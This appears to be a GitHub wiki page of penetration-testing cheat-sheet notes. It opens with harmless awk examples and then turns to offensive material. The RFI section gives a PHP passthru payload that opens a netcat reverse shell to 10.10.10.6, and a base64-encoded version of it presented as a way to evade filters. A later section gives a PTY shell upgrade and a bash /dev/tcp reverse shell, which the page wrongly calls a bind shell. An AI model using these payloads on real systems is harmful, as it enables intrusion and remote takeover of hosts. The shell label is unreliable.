-
Notifications
You must be signed in to change notification settings - Fork 10
Text_Processing_and_Shell_Operations
awk is a powerful text-processing language that is used for pattern scanning and processing. Below are some common awk commands and their explanations:
-
Print Specific Fields from a File
awk -F ":" '{print $1 $6}' /etc/passwd
-
-Fsets the delimiter, in this case, a colon (:), whichawkuses to recognize columns from the input. -
{print $1 $6}prints the first and sixth fields of each line in the/etc/passwdfile.
-
-
Set Field and Output Field Separators
awk 'BEGIN{FS=":"; OFS="-"} {print $1,$6,$7}' /etc/passwd-
BEGIN{FS=":"; OFS="-"}sets the input field separator to a colon (:) and the output field separator to a hyphen (-). -
{print $1,$6,$7}prints the first, sixth, and seventh fields of each line in the/etc/passwdfile.
-
-
Print the Last Field of Lines Starting with a Slash
awk -F "/" '/^\// {print $NF}' /etc/shells
-
-F "/"sets the delimiter to a slash (/). -
/^\//matches lines that start with a slash. -
$NFrepresents the last field of the line.
-
-
Print Lines Shorter Than 8 Characters
awk 'length($0) < 8' /etc/shells-
length($0) < 8prints lines where the total length is less than 8 characters.
-
-
Print Lines Starting with 'b' or 'c'
awk '$1 ~ /^[b,c]/ {print $0}' .bashrc-
$1 ~ /^[b,c]/matches lines where the first field starts with 'b' or 'c'. -
{print $0}prints the entire line.
-
Remote File Inclusion (RFI) allows a PHP script to include and execute code from a remote server. This can be useful for testing but poses significant security risks if not properly managed.
-
Edit PHP Configuration
sudo nano /etc/php5/cgi/php.ini
- Open the PHP configuration file in a text editor.
-
Search for Configuration Options
- Press
Ctrl + wand search forallow_url.
- Press
-
Enable URL Options
- Set
allow_url_fopenandallow_url_includetoOn.
- Set
-
Restart Web Server
sudo /etc/init.d/apache2/restart
-
Create a PHP File
<?php passthru("nc -e /bin/sh 10.10.10.6 8080"); ?>
-
Base64 Encoding to Evade Filters
<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxMC4xMC4xMC42IDgwODA=")); ?>
-
base64_decodedecodes the base64-encoded string, which helps evade certain filters.
-
Spawning a shell can be useful for gaining interactive access to a system.
-
Spawn a PTY Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'- This command spawns a pseudo-terminal (PTY) shell.
-
Turn Off Terminal Echo and Foreground the Shell
export TERM=xterm stty raw -echo; fg
-
Create a BIND Shell
bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"- This command creates a BIND shell that listens on port 443 and redirects input/output to the specified IP address.